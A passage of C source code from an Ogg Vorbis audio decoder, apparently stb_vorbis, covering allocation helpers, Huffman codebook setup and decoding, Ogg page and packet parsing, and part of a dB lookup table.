(count*(sizeof(void *)+(size))) #define temp_alloc(f,size) (f->alloc.alloc_buffer ? setup_temp_malloc(f,size) : alloca(size)) #define temp_free(f,p) (void)0 #define temp_alloc_save(f) ((f)->temp_offset) #define temp_alloc_restore(f,p) ((f)->temp_offset = (p)) #define temp_block_array(f,count,size) make_block_array(temp_alloc(f,array_size_required(count,size)), count, size) // given a sufficiently large block of memory, make an array of pointers to subblocks of it static void* make_block_array(void* mem, int count, int size) { int i; void** p = (void**)mem; char* q = (char*)(p + count); for (i = 0; i < count; ++i) { p[i] = q; q += size; } return p; } static void* setup_malloc(vorb* f, int sz) { sz = (sz + 7) & ~7; // round up to nearest 8 for alignment of future allocs. f->setup_memory_required += sz; if (f->alloc.alloc_buffer) { void* p = (char*)f->alloc.alloc_buffer + f->setup_offset; if (f->setup_offset + sz > f->temp_offset) return NULL; f->setup_offset += sz; return p; } return sz ? malloc(sz) : NULL; } static void setup_free(vorb* f, void* p) { if (f->alloc.alloc_buffer) return; // do nothing; setup mem is a stack free(p); } static void* setup_temp_malloc(vorb* f, int sz) { sz = (sz + 7) & ~7; // round up to nearest 8 for alignment of future allocs. if (f->alloc.alloc_buffer) { if (f->temp_offset - sz < f->setup_offset) return NULL; f->temp_offset -= sz; return (char*)f->alloc.alloc_buffer + f->temp_offset; } return malloc(sz); } static void setup_temp_free(vorb* f, void* p, int sz) { if (f->alloc.alloc_buffer) { f->temp_offset += (sz + 7) & ~7; return; } free(p); } #define CRC32_POLY 0x04c11db7 // from spec static uint32 crc_table[256]; static void crc32_init(void) { int i, j; uint32 s; for (i = 0; i < 256; i++) { for (s = (uint32)i << 24, j = 0; j < 8; ++j) s = (s << 1) ^ (s >= (1U << 31) ? CRC32_POLY : 0); crc_table[i] = s; } } static __forceinline uint32 crc32_update(uint32 crc, uint8 byte) { return (crc << 8) ^ crc_table[byte ^ (crc >> 24)]; } // used in setup, and for huffman that doesn't go fast path static unsigned int bit_reverse(unsigned int n) { n = ((n & 0xAAAAAAAA) >> 1) | ((n & 0x55555555) << 1); n = ((n & 0xCCCCCCCC) >> 2) | ((n & 0x33333333) << 2); n = ((n & 0xF0F0F0F0) >> 4) | ((n & 0x0F0F0F0F) << 4); n = ((n & 0xFF00FF00) >> 8) | ((n & 0x00FF00FF) << 8); return (n >> 16) | (n << 16); } static float square(float x) { return x * x; } // this is a weird definition of log2() for which log2(1) = 1, log2(2) = 2, log2(4) = 3 // as required by the specification. fast(?) implementation from stb.h // @OPTIMIZE: called multiple times per-packet with "constants"; move to setup static int ilog(int32 n) { static signed char log2_4[16] = { 0,1,2,2,3,3,3,3,4,4,4,4,4,4,4,4 }; if (n < 0) return 0; // signed n returns 0 // 2 compares if n < 16, 3 compares otherwise (4 if signed or n > 1<<29) if (n < (1 << 14)) if (n < (1 << 4)) return 0 + log2_4[n]; else if (n < (1 << 9)) return 5 + log2_4[n >> 5]; else return 10 + log2_4[n >> 10]; else if (n < (1 << 24)) if (n < (1 << 19)) return 15 + log2_4[n >> 15]; else return 20 + log2_4[n >> 20]; else if (n < (1 << 29)) return 25 + log2_4[n >> 25]; else return 30 + log2_4[n >> 30]; } #ifndef M_PI #define M_PI 3.14159265358979323846264f // from CRC #endif // code length assigned to a value with no huffman encoding #define NO_CODE 255 /////////////////////// LEAF SETUP FUNCTIONS ////////////////////////// // // these functions are only called at setup, and only a few times // per file static float float32_unpack(uint32 x) { // from the specification uint32 mantissa = x & 0x1fffff; uint32 sign = x & 0x80000000; uint32 exp = (x & 0x7fe00000) >> 21; double res = sign ? -(double)mantissa : (double)mantissa; return (float)ldexp((float)res, exp - 788); } // zlib & jpeg huffman tables assume that the output symbols // can either be arbitrarily arranged, or have monotonically // increasing frequencies--they rely on the lengths being sorted; // this makes for a very simple generation algorithm. // vorbis allows a huffman table with non-sorted lengths. This // requires a more sophisticated construction, since symbols in // order do not map to huffman codes "in order". static void add_entry(Codebook* c, uint32 huff_code, int symbol, int count, int len, uint32* values) { if (!c->sparse) { c->codewords[symbol] = huff_code; } else { c->codewords[count] = huff_code; c->codeword_lengths[count] = len; values[count] = symbol; } } static int compute_codewords(Codebook* c, uint8* len, int n, uint32* values) { int i, k, m = 0; uint32 available[32]; memset(available, 0, sizeof(available)); // find the first entry for (k = 0; k < n; ++k) if (len[k] < NO_CODE) break; if (k == n) { assert(c->sorted_entries == 0); return TRUE; } // add to the list add_entry(c, 0, k, m++, len[k], values); // add all available leaves for (i = 1; i <= len[k]; ++i) available[i] = 1U << (32 - i); // note that the above code treats the first case specially, // but it's really the same as the following code, so they // could probably be combined (except the initial code is 0, // and I use 0 in available[] to mean 'empty') for (i = k + 1; i < n; ++i) { uint32 res; int z = len[i], y; if (z == NO_CODE) continue; // find lowest available leaf (should always be earliest, // which is what the specification calls for) // note that this property, and the fact we can never have // more than one free leaf at a given level, isn't totally // trivial to prove, but it seems true and the assert never // fires, so! while (z > 0 && !available[z]) --z; if (z == 0) { return FALSE; } res = available[z]; assert(z >= 0 && z < 32); available[z] = 0; add_entry(c, bit_reverse(res), i, m++, len[i], values); // propagate availability up the tree if (z != len[i]) { assert(len[i] >= 0 && len[i] < 32); for (y = len[i]; y > z; --y) { assert(available[y] == 0); available[y] = res + (1 << (32 - y)); } } } return TRUE; } // accelerated huffman table allows fast O(1) match of all symbols // of length <= STB_VORBIS_FAST_HUFFMAN_LENGTH static void compute_accelerated_huffman(Codebook* c) { int i, len; for (i = 0; i < FAST_HUFFMAN_TABLE_SIZE; ++i) c->fast_huffman[i] = -1; len = c->sparse ? c->sorted_entries : c->entries; #ifdef STB_VORBIS_FAST_HUFFMAN_SHORT if (len > 32767) len = 32767; // largest possible value we can encode! #endif for (i = 0; i < len; ++i) { if (c->codeword_lengths[i] <= STB_VORBIS_FAST_HUFFMAN_LENGTH) { uint32 z = c->sparse ? bit_reverse(c->sorted_codewords[i]) : c->codewords[i]; // set table entries for all bit combinations in the higher bits while (z < FAST_HUFFMAN_TABLE_SIZE) { c->fast_huffman[z] = i; z += 1 << c->codeword_lengths[i]; } } } } #ifdef _MSC_VER #define STBV_CDECL __cdecl #else #define STBV_CDECL #endif static int STBV_CDECL uint32_compare(const void* p, const void* q) { uint32 x = *(uint32*)p; uint32 y = *(uint32*)q; return x < y ? -1 : x > y; } static int include_in_sort(Codebook* c, uint8 len) { if (c->sparse) { assert(len != NO_CODE); return TRUE; } if (len == NO_CODE) return FALSE; if (len > STB_VORBIS_FAST_HUFFMAN_LENGTH) return TRUE; return FALSE; } // if the fast table above doesn't work, we want to binary // search them... need to reverse the bits static void compute_sorted_huffman(Codebook* c, uint8* lengths, uint32* values) { int i, len; // build a list of all the entries // OPTIMIZATION: don't include the short ones, since they'll be caught by FAST_HUFFMAN. // this is kind of a frivolous optimization--I don't see any performance improvement, // but it's like 4 extra lines of code, so. if (!c->sparse) { int k = 0; for (i = 0; i < c->entries; ++i) if (include_in_sort(c, lengths[i])) c->sorted_codewords[k++] = bit_reverse(c->codewords[i]); assert(k == c->sorted_entries); } else { for (i = 0; i < c->sorted_entries; ++i) c->sorted_codewords[i] = bit_reverse(c->codewords[i]); } qsort(c->sorted_codewords, c->sorted_entries, sizeof(c->sorted_codewords[0]), uint32_compare); c->sorted_codewords[c->sorted_entries] = 0xffffffff; len = c->sparse ? c->sorted_entries : c->entries; // now we need to indicate how they correspond; we could either // #1: sort a different data structure that says who they correspond to // #2: for each sorted entry, search the original list to find who corresponds // #3: for each original entry, find the sorted entry // #1 requires extra storage, #2 is slow, #3 can use binary search! for (i = 0; i < len; ++i) { int huff_len = c->sparse ? lengths[values[i]] : lengths[i]; if (include_in_sort(c, huff_len)) { uint32 code = bit_reverse(c->codewords[i]); int x = 0, n = c->sorted_entries; while (n > 1) { // invariant: sc[x] <= code < sc[x+n] int m = x + (n >> 1); if (c->sorted_codewords[m] <= code) { x = m; n -= (n >> 1); } else { n >>= 1; } } assert(c->sorted_codewords[x] == code); if (c->sparse) { c->sorted_values[x] = values[i]; c->codeword_lengths[x] = huff_len; } else { c->sorted_values[x] = i; } } } } // only run while parsing the header (3 times) static int vorbis_validate(uint8* data) { static uint8 vorbis[6] = { 'v', 'o', 'r', 'b', 'i', 's' }; return memcmp(data, vorbis, 6) == 0; } // called from setup only, once per code book // (formula implied by specification) static int lookup1_values(int entries, int dim) { int r = (int)floor(exp((float)log((float)entries) / dim)); if ((int)floor(pow((float)r + 1, dim)) <= entries) // (int) cast for MinGW warning; ++r; // floor() to avoid _ftol() when non-CRT if (pow((float)r + 1, dim) <= entries) return -1; if ((int)floor(pow((float)r, dim)) > entries) return -1; return r; } // called twice per file static void compute_twiddle_factors(int n, float* A, float* B, float* C) { int n4 = n >> 2, n8 = n >> 3; int k, k2; for (k = k2 = 0; k < n4; ++k, k2 += 2) { A[k2] = (float)cos(4 * k * M_PI / n); A[k2 + 1] = (float)-sin(4 * k * M_PI / n); B[k2] = (float)cos((k2 + 1) * M_PI / n / 2) * 0.5f; B[k2 + 1] = (float)sin((k2 + 1) * M_PI / n / 2) * 0.5f; } for (k = k2 = 0; k < n8; ++k, k2 += 2) { C[k2] = (float)cos(2 * (k2 + 1) * M_PI / n); C[k2 + 1] = (float)-sin(2 * (k2 + 1) * M_PI / n); } } static void compute_window(int n, float* window) { int n2 = n >> 1, i; for (i = 0; i < n2; ++i) window[i] = (float)sin(0.5 * M_PI * square((float)sin((i - 0 + 0.5) / n2 * 0.5 * M_PI))); } static void compute_bitreverse(int n, uint16* rev) { int ld = ilog(n) - 1; // ilog is off-by-one from normal definitions int i, n8 = n >> 3; for (i = 0; i < n8; ++i) rev[i] = (bit_reverse(i) >> (32 - ld + 3)) << 2; } static int init_blocksize(vorb* f, int b, int n) { int n2 = n >> 1, n4 = n >> 2, n8 = n >> 3; f->A[b] = (float*)setup_malloc(f, sizeof(float) * n2); f->B[b] = (float*)setup_malloc(f, sizeof(float) * n2); f->C[b] = (float*)setup_malloc(f, sizeof(float) * n4); if (!f->A[b] || !f->B[b] || !f->C[b]) return error(f, VORBIS_outofmem); compute_twiddle_factors(n, f->A[b], f->B[b], f->C[b]); f->window[b] = (float*)setup_malloc(f, sizeof(float) * n2); if (!f->window[b]) return error(f, VORBIS_outofmem); compute_window(n, f->window[b]); f->bit_reverse[b] = (uint16*)setup_malloc(f, sizeof(uint16) * n8); if (!f->bit_reverse[b]) return error(f, VORBIS_outofmem); compute_bitreverse(n, f->bit_reverse[b]); return TRUE; } static void neighbors(uint16* x, int n, int* plow, int* phigh) { int low = -1; int high = 65536; int i; for (i = 0; i < n; ++i) { if (x[i] > low && x[i] < x[n]) { *plow = i; low = x[i]; } if (x[i] < high && x[i] > x[n]) { *phigh = i; high = x[i]; } } } // this has been repurposed so y is now the original index instead of y typedef struct { uint16 x, id; } stbv__floor_ordering; static int STBV_CDECL point_compare(const void* p, const void* q) { stbv__floor_ordering* a = (stbv__floor_ordering*)p; stbv__floor_ordering* b = (stbv__floor_ordering*)q; return a->x < b->x ? -1 : a->x > b->x; } // /////////////////////// END LEAF SETUP FUNCTIONS ////////////////////////// #if defined(STB_VORBIS_NO_STDIO) #define USE_MEMORY(z) TRUE #else #define USE_MEMORY(z) ((z)->stream) #endif static uint8 get8(vorb* z) { if (USE_MEMORY(z)) { if (z->stream >= z->stream_end) { z->eof = TRUE; return 0; } return *z->stream++; } #ifndef STB_VORBIS_NO_STDIO { int c = fgetc(z->f); if (c == EOF) { z->eof = TRUE; return 0; } return c; } #endif } static uint32 get32(vorb* f) { uint32 x; x = get8(f); x += get8(f) << 8; x += get8(f) << 16; x += (uint32)get8(f) << 24; return x; } static int getn(vorb* z, uint8* data, int n) { if (USE_MEMORY(z)) { if (z->stream + n > z->stream_end) { z->eof = 1; return 0; } memcpy(data, z->stream, n); z->stream += n; return 1; } #ifndef STB_VORBIS_NO_STDIO if (fread(data, n, 1, z->f) == 1) return 1; else { z->eof = 1; return 0; } #endif } static void skip(vorb* z, int n) { if (USE_MEMORY(z)) { z->stream += n; if (z->stream >= z->stream_end) z->eof = 1; return; } #ifndef STB_VORBIS_NO_STDIO { long x = ftell(z->f); fseek(z->f, x + n, SEEK_SET); } #endif } static int set_file_offset(stb_vorbis* f, unsigned int loc) { #ifndef STB_VORBIS_NO_PUSHDATA_API if (f->push_mode) return 0; #endif f->eof = 0; if (USE_MEMORY(f)) { if (f->stream_start + loc >= f->stream_end || f->stream_start + loc < f->stream_start) { f->stream = f->stream_end; f->eof = 1; return 0; } else { f->stream = f->stream_start + loc; return 1; } } #ifndef STB_VORBIS_NO_STDIO if (loc + f->f_start < loc || loc >= 0x80000000) { loc = 0x7fffffff; f->eof = 1; } else { loc += f->f_start; } if (!fseek(f->f, loc, SEEK_SET)) return 1; f->eof = 1; fseek(f->f, f->f_start, SEEK_END); return 0; #endif } static uint8 ogg_page_header[4] = { 0x4f, 0x67, 0x67, 0x53 }; static int capture_pattern(vorb* f) { if (0x4f != get8(f)) return FALSE; if (0x67 != get8(f)) return FALSE; if (0x67 != get8(f)) return FALSE; if (0x53 != get8(f)) return FALSE; return TRUE; } #define PAGEFLAG_continued_packet 1 #define PAGEFLAG_first_page 2 #define PAGEFLAG_last_page 4 static int start_page_no_capturepattern(vorb* f) { uint32 loc0, loc1, n; if (f->first_decode && !IS_PUSH_MODE(f)) { f->p_first.page_start = stb_vorbis_get_file_offset(f) - 4; } // stream structure version if (0 != get8(f)) return error(f, VORBIS_invalid_stream_structure_version); // header flag f->page_flag = get8(f); // absolute granule position loc0 = get32(f); loc1 = get32(f); // @TODO: validate loc0,loc1 as valid positions? // stream serial number -- vorbis doesn't interleave, so discard get32(f); //if (f->serial != get32(f)) return error(f, VORBIS_incorrect_stream_serial_number); // page sequence number n = get32(f); f->last_page = n; // CRC32 get32(f); // page_segments f->segment_count = get8(f); if (!getn(f, f->segments, f->segment_count)) return error(f, VORBIS_unexpected_eof); // assume we _don't_ know any the sample position of any segments f->end_seg_with_known_loc = -2; if (loc0 != ~0U || loc1 != ~0U) { int i; // determine which packet is the last one that will complete for (i = f->segment_count - 1; i >= 0; --i) if (f->segments[i] < 255) break; // 'i' is now the index of the _last_ segment of a packet that ends if (i >= 0) { f->end_seg_with_known_loc = i; f->known_loc_for_packet = loc0; } } if (f->first_decode) { int i, len; len = 0; for (i = 0; i < f->segment_count; ++i) len += f->segments[i]; len += 27 + f->segment_count; f->p_first.page_end = f->p_first.page_start + len; f->p_first.last_decoded_sample = loc0; } f->next_seg = 0; return TRUE; } static int start_page(vorb* f) { if (!capture_pattern(f)) return error(f, VORBIS_missing_capture_pattern); return start_page_no_capturepattern(f); } static int start_packet(vorb* f) { while (f->next_seg == -1) { if (!start_page(f)) return FALSE; if (f->page_flag & PAGEFLAG_continued_packet) return error(f, VORBIS_continued_packet_flag_invalid); } f->last_seg = FALSE; f->valid_bits = 0; f->packet_bytes = 0; f->bytes_in_seg = 0; // f->next_seg is now valid return TRUE; } static int maybe_start_packet(vorb* f) { if (f->next_seg == -1) { int x = get8(f); if (f->eof) return FALSE; // EOF at page boundary is not an error! if (0x4f != x) return error(f, VORBIS_missing_capture_pattern); if (0x67 != get8(f)) return error(f, VORBIS_missing_capture_pattern); if (0x67 != get8(f)) return error(f, VORBIS_missing_capture_pattern); if (0x53 != get8(f)) return error(f, VORBIS_missing_capture_pattern); if (!start_page_no_capturepattern(f)) return FALSE; if (f->page_flag & PAGEFLAG_continued_packet) { // set up enough state that we can read this packet if we want, // e.g. during recovery f->last_seg = FALSE; f->bytes_in_seg = 0; return error(f, VORBIS_continued_packet_flag_invalid); } } return start_packet(f); } static int next_segment(vorb* f) { int len; if (f->last_seg) return 0; if (f->next_seg == -1) { f->last_seg_which = f->segment_count - 1; // in case start_page fails if (!start_page(f)) { f->last_seg = 1; return 0; } if (!(f->page_flag & PAGEFLAG_continued_packet)) return error(f, VORBIS_continued_packet_flag_invalid); } len = f->segments[f->next_seg++]; if (len < 255) { f->last_seg = TRUE; f->last_seg_which = f->next_seg - 1; } if (f->next_seg >= f->segment_count) f->next_seg = -1; assert(f->bytes_in_seg == 0); f->bytes_in_seg = len; return len; } #define EOP (-1) #define INVALID_BITS (-1) static int get8_packet_raw(vorb* f) { if (!f->bytes_in_seg) { // CLANG! if (f->last_seg) return EOP; else if (!next_segment(f)) return EOP; } assert(f->bytes_in_seg > 0); --f->bytes_in_seg; ++f->packet_bytes; return get8(f); } static int get8_packet(vorb* f) { int x = get8_packet_raw(f); f->valid_bits = 0; return x; } static int get32_packet(vorb* f) { uint32 x; x = get8_packet(f); x += get8_packet(f) << 8; x += get8_packet(f) << 16; x += (uint32)get8_packet(f) << 24; return x; } static void flush_packet(vorb* f) { while (get8_packet_raw(f) != EOP); } // @OPTIMIZE: this is the secondary bit decoder, so it's probably not as important // as the huffman decoder? static uint32 get_bits(vorb* f, int n) { uint32 z; if (f->valid_bits < 0) return 0; if (f->valid_bits < n) { if (n > 24) { // the accumulator technique below would not work correctly in this case z = get_bits(f, 24); z += get_bits(f, n - 24) << 24; return z; } if (f->valid_bits == 0) f->acc = 0; while (f->valid_bits < n) { int z = get8_packet_raw(f); if (z == EOP) { f->valid_bits = INVALID_BITS; return 0; } f->acc += z << f->valid_bits; f->valid_bits += 8; } } assert(f->valid_bits >= n); z = f->acc & ((1 << n) - 1); f->acc >>= n; f->valid_bits -= n; return z; } // @OPTIMIZE: primary accumulator for huffman // expand the buffer to as many bits as possible without reading off end of packet // it might be nice to allow f->valid_bits and f->acc to be stored in registers, // e.g. cache them locally and decode locally static __forceinline void prep_huffman(vorb* f) { if (f->valid_bits <= 24) { if (f->valid_bits == 0) f->acc = 0; do { int z; if (f->last_seg && !f->bytes_in_seg) return; z = get8_packet_raw(f); if (z == EOP) return; f->acc += (unsigned)z << f->valid_bits; f->valid_bits += 8; } while (f->valid_bits <= 24); } } enum { VORBIS_packet_id = 1, VORBIS_packet_comment = 3, VORBIS_packet_setup = 5 }; static int codebook_decode_scalar_raw(vorb* f, Codebook* c) { int i; prep_huffman(f); if (c->codewords == NULL && c->sorted_codewords == NULL) return -1; // cases to use binary search: sorted_codewords && !c->codewords // sorted_codewords && c->entries > 8 if (c->entries > 8 ? c->sorted_codewords != NULL : !c->codewords) { // binary search uint32 code = bit_reverse(f->acc); int x = 0, n = c->sorted_entries, len; while (n > 1) { // invariant: sc[x] <= code < sc[x+n] int m = x + (n >> 1); if (c->sorted_codewords[m] <= code) { x = m; n -= (n >> 1); } else { n >>= 1; } } // x is now the sorted index if (!c->sparse) x = c->sorted_values[x]; // x is now sorted index if sparse, or symbol otherwise len = c->codeword_lengths[x]; if (f->valid_bits >= len) { f->acc >>= len; f->valid_bits -= len; return x; } f->valid_bits = 0; return -1; } // if small, linear search assert(!c->sparse); for (i = 0; i < c->entries; ++i) { if (c->codeword_lengths[i] == NO_CODE) continue; if (c->codewords[i] == (f->acc & ((1 << c->codeword_lengths[i]) - 1))) { if (f->valid_bits >= c->codeword_lengths[i]) { f->acc >>= c->codeword_lengths[i]; f->valid_bits -= c->codeword_lengths[i]; return i; } f->valid_bits = 0; return -1; } } error(f, VORBIS_invalid_stream); f->valid_bits = 0; return -1; } #ifndef STB_VORBIS_NO_INLINE_DECODE #define DECODE_RAW(var, f,c) \ if (f->valid_bits < STB_VORBIS_FAST_HUFFMAN_LENGTH) \ prep_huffman(f); \ var = f->acc & FAST_HUFFMAN_TABLE_MASK; \ var = c->fast_huffman[var]; \ if (var >= 0) { \ int n = c->codeword_lengths[var]; \ f->acc >>= n; \ f->valid_bits -= n; \ if (f->valid_bits < 0) { f->valid_bits = 0; var = -1; } \ } else { \ var = codebook_decode_scalar_raw(f,c); \ } #else static int codebook_decode_scalar(vorb* f, Codebook* c) { int i; if (f->valid_bits < STB_VORBIS_FAST_HUFFMAN_LENGTH) prep_huffman(f); // fast huffman table lookup i = f->acc & FAST_HUFFMAN_TABLE_MASK; i = c->fast_huffman[i]; if (i >= 0) { f->acc >>= c->codeword_lengths[i]; f->valid_bits -= c->codeword_lengths[i]; if (f->valid_bits < 0) { f->valid_bits = 0; return -1; } return i; } return codebook_decode_scalar_raw(f, c); } #define DECODE_RAW(var,f,c) var = codebook_decode_scalar(f,c); #endif #define DECODE(var,f,c) \ DECODE_RAW(var,f,c) \ if (c->sparse) var = c->sorted_values[var]; #ifndef STB_VORBIS_DIVIDES_IN_CODEBOOK #define DECODE_VQ(var,f,c) DECODE_RAW(var,f,c) #else #define DECODE_VQ(var,f,c) DECODE(var,f,c) #endif // CODEBOOK_ELEMENT_FAST is an optimization for the CODEBOOK_FLOATS case // where we avoid one addition #define CODEBOOK_ELEMENT(c,off) (c->multiplicands[off]) #define CODEBOOK_ELEMENT_FAST(c,off) (c->multiplicands[off]) #define CODEBOOK_ELEMENT_BASE(c) (0) static int codebook_decode_start(vorb* f, Codebook* c) { int z = -1; // type 0 is only legal in a scalar context if (c->lookup_type == 0) error(f, VORBIS_invalid_stream); else { DECODE_VQ(z, f, c); if (c->sparse) assert(z < c->sorted_entries); if (z < 0) { // check for EOP if (!f->bytes_in_seg) if (f->last_seg) return z; error(f, VORBIS_invalid_stream); } } return z; } static int codebook_decode(vorb* f, Codebook* c, float* output, int len) { int i, z = codebook_decode_start(f, c); if (z < 0) return FALSE; if (len > c->dimensions) len = c->dimensions; #ifdef STB_VORBIS_DIVIDES_IN_CODEBOOK if (c->lookup_type == 1) { float last = CODEBOOK_ELEMENT_BASE(c); int div = 1; for (i = 0; i < len; ++i) { int off = (z / div) % c->lookup_values; float val = CODEBOOK_ELEMENT_FAST(c, off) + last; output[i] += val; if (c->sequence_p) last = val + c->minimum_value; div *= c->lookup_values; } return TRUE; } #endif z *= c->dimensions; if (c->sequence_p) { float last = CODEBOOK_ELEMENT_BASE(c); for (i = 0; i < len; ++i) { float val = CODEBOOK_ELEMENT_FAST(c, z + i) + last; output[i] += val; last = val + c->minimum_value; } } else { float last = CODEBOOK_ELEMENT_BASE(c); for (i = 0; i < len; ++i) { output[i] += CODEBOOK_ELEMENT_FAST(c, z + i) + last; } } return TRUE; } static int codebook_decode_step(vorb* f, Codebook* c, float* output, int len, int step) { int i, z = codebook_decode_start(f, c); float last = CODEBOOK_ELEMENT_BASE(c); if (z < 0) return FALSE; if (len > c->dimensions) len = c->dimensions; #ifdef STB_VORBIS_DIVIDES_IN_CODEBOOK if (c->lookup_type == 1) { int div = 1; for (i = 0; i < len; ++i) { int off = (z / div) % c->lookup_values; float val = CODEBOOK_ELEMENT_FAST(c, off) + last; output[i * step] += val; if (c->sequence_p) last = val; div *= c->lookup_values; } return TRUE; } #endif z *= c->dimensions; for (i = 0; i < len; ++i) { float val = CODEBOOK_ELEMENT_FAST(c, z + i) + last; output[i * step] += val; if (c->sequence_p) last = val; } return TRUE; } static int codebook_decode_deinterleave_repeat(vorb* f, Codebook* c, float** outputs, int ch, int* c_inter_p, int* p_inter_p, int len, int total_decode) { int c_inter = *c_inter_p; int p_inter = *p_inter_p; int i, z, effective = c->dimensions; // type 0 is only legal in a scalar context if (c->lookup_type == 0) return error(f, VORBIS_invalid_stream); while (total_decode > 0) { float last = CODEBOOK_ELEMENT_BASE(c); DECODE_VQ(z, f, c); #ifndef STB_VORBIS_DIVIDES_IN_CODEBOOK assert(!c->sparse || z < c->sorted_entries); #endif if (z < 0) { if (!f->bytes_in_seg) if (f->last_seg) return FALSE; return error(f, VORBIS_invalid_stream); } // if this will take us off the end of the buffers, stop short! // we check by computing the length of the virtual interleaved // buffer (len*ch), our current offset within it (p_inter*ch)+(c_inter), // and the length we'll be using (effective) if (c_inter + p_inter * ch + effective > len * ch) { effective = len * ch - (p_inter * ch - c_inter); } #ifdef STB_VORBIS_DIVIDES_IN_CODEBOOK if (c->lookup_type == 1) { int div = 1; for (i = 0; i < effective; ++i) { int off = (z / div) % c->lookup_values; float val = CODEBOOK_ELEMENT_FAST(c, off) + last; if (outputs[c_inter]) outputs[c_inter][p_inter] += val; if (++c_inter == ch) { c_inter = 0; ++p_inter; } if (c->sequence_p) last = val; div *= c->lookup_values; } } else #endif { z *= c->dimensions; if (c->sequence_p) { for (i = 0; i < effective; ++i) { float val = CODEBOOK_ELEMENT_FAST(c, z + i) + last; if (outputs[c_inter]) outputs[c_inter][p_inter] += val; if (++c_inter == ch) { c_inter = 0; ++p_inter; } last = val; } } else { for (i = 0; i < effective; ++i) { float val = CODEBOOK_ELEMENT_FAST(c, z + i) + last; if (outputs[c_inter]) outputs[c_inter][p_inter] += val; if (++c_inter == ch) { c_inter = 0; ++p_inter; } } } } total_decode -= effective; } *c_inter_p = c_inter; *p_inter_p = p_inter; return TRUE; } static int predict_point(int x, int x0, int x1, int y0, int y1) { int dy = y1 - y0; int adx = x1 - x0; // @OPTIMIZE: force int division to round in the right direction... is this necessary on x86? int err = abs(dy) * (x - x0); int off = err / adx; return dy < 0 ? y0 - off : y0 + off; } // the following table is block-copied from the specification static float inverse_db_table[256] = { 1.0649863e-07f, 1.1341951e-07f, 1.2079015e-07f, 1.2863978e-07f, 1.3699951e-07f, 1.4590251e-07f, 1.5538408e-07f, 1.6548181e-07f, 1.7623575e-07f, 1.8768855e-07f, 1.9988561e-07f, 2.1287530e-07f, 2.2670913e-07f, 2.4144197e-07f, 2.5713223e-07f, 2.7384213e-07f, 2.9163793e-07f, 3.1059021e-07f, 3.3077411e-07f, 3.5226968e-07f, 3.7516214e-07f, 3.9954229e-07f, 4.2550680e-07f, 4.5315863e-07f, 4.8260743e-07f, 5.1396998e-07f, 5.4737065e-07f, 5.8294187e-07f, 6.2082472e-07f, 6.6116941e-07f, 7.0413592e-07f, 7.4989464e-07f, 7.9862701e-07f, 8.5052630e-07f, 9.0579828e-07f, 9.6466216e-07f, 1.0273513e-06f, 1.0941144e-06f, 1.1652161e-06f, 1.2409384e-06f, 1.3215816e-06f, 1.4074654e-06f, 1.4989305e-06f, 1.5963394e-06f, 1.7000785e-06f, 1.8105592e-06f, 1.9282195e-06f, 2.0535261e-06f, 2.1869758e-06f, 2.3290978e-06f, 2.4804557e-06f, 2.6416497e-06f, 2.8133190e-06f, 2.9961443e-06f, 3.1908506e-06f, 3.3982101e-06f, 3.6190449e-06f, 3.8542308e-06f, 4.1047004e-06f, 4.3714470e-06f, 4.6555282e-06f, 4.9580707e-06f, 5.2802740e-06f, 5.6234160e-06f, 5.9888572e-06f, 6.3780469e-06f, 6.7925283e-06f, 7.2339451e-06f, 7.7040476e-06f, 8.2047000e-06f, 8.7378876e-06f, 9.3057248e-06f, 9.9104632e-06f, 1.0554501e-05f, 1.1240392e-05f, 1.1970856e-05f, 1.2748789e-05f, 1.3577278e-05f, 1.4459606e-05f, 1.5399272e-05f, 1.6400004e-05f, 1.7465768e-05f, 1.8600792e-05f, 1.9809576e-05f, 2.1096914e-05f, 2.2467911e-05f, 2.3928002e-05f, 2.5482978e-05f, 2.7139006e-05f, 2.8902651e-05f, 3.0780908e-05f, 3.2781225e-05f, 3.4911534e-05f, 3.7180282e-05f, 3.9596466e-05f, 4.2169667e-05f, 4.4910090e-05f, 4.7828601e-05f, 5.0936773e-05f, 5.4246931e-05f, 5.7772202e-05f, 6.1526565e-05f, 6.5524908e-05f, 6.9783085e-05f, 7.4317983e-05f, 7.9147585e-05f, 8.4291040e-05f, 8.9768747e-05f, 9.5602426e-05f, 0.00010181521f, 0.00010843174f, 0.00011547824f, 0.00012298267f, 0.00013097477f, 0.00013948625f, 0.00014855085f, 0.00015820453f, 0.00016848555f, 0.00017943469f, 0.00019109536f, 0.00020351382f, 0.00021673929f, 0.00023082423f, 0.00024582449f, 0.00026179955f, 0.00027881276f, 0.00029693158f, 0.00031622787f, 0.00033677814f, 0.00035866388f, 0.00038197188f, 0.00040679456f, 0.00043323036f, 0.00046138411f, 0.00049136745f, 0.00052329927f, 0.00055730621f, 0.00059352311f, 0.00063209358f, 0.00067317058f, 0.00071691700f, 0.00076350630f, 0.00081312324f, 0.00086596457f, 0.00092223983f, 0.00098217216f, 0.0010459992f, 0.0011139742f, 0.0011863665f, 0.0012634633f, 0.0013455702f, 0.0014330129f, 0.0015261382f, 0.0016253153f, 0.0017309374f, 0.0018434235f, 0.0019632195f, 0.0020908006f, 0.0022266726f, 0.0023713743f, 0.0025254795f, 0.0026895994f, 0.0028643847f, 0.0030505286f, 0.0032487691f, 0.0034598925f, 0.0036847358f, 0.0039241906f, 0.0041792066f, 0.0044507950f, 0.0047400328f, 0.0050480668f, 0.0053761186f, 0.0057254891f, 0.0060975636f, 0.0064938176f, 0.0069158225f, 0.0073652516f, 0.0078438871f, 0.0083536271f, 0.0088964928f, 0.009474637f, 0.010090352f, 0.010746080f, 0.011444421f, 0.012188144f, 0.012980198f, 0.013823725f, 0.014722068f, 0.015678791f, 0.016697687f, 0.017782797f, 0.018938423f, 0.020169149f, 0.021479854f, 0.022875735f, 0.024362330f, 0.025945531f, 0.027631618f, 0.029427276f, 0.031339626f, 0.033376252f, 0.035545228f, 0.037855157f, 0.040315199f, 0.042935108f, 0.045725273f, 0.048696758f, 0.051861348f, 0.055231591f, 0.058820850f, 0.062643361f, 0.066714279f, 0.071049749f, 0.075666962f, 0.080584227f, 0.085821044f, 0.091398179f, 0.097337747f, 0.10366330f, 0.11039993f, 0.11757434f, 0.12521498f, 0.13335215f, 0.14201813f, 0.15124727f, 0.16107617f, 0.17154380f, 0.18269168f, 0.19456402f, 0.20720788f, 0.22067342f, 0.23501402f, 0.25028656f, 0.26655159f, 0.28387361f, 0.30232132f, 0.32196786f, 0.34289114f, 0.36517414f, 0.38890521f, 0.41417847f, 0.44109412f, 0.46975890f, 0.50028648f, 0.53279791f, 0.56742212f, 0.60429640f, 0.64356699f, 0.68538959f, 0.72993007f, 0.77736504f, 0.82788260f, 0.88168307f, 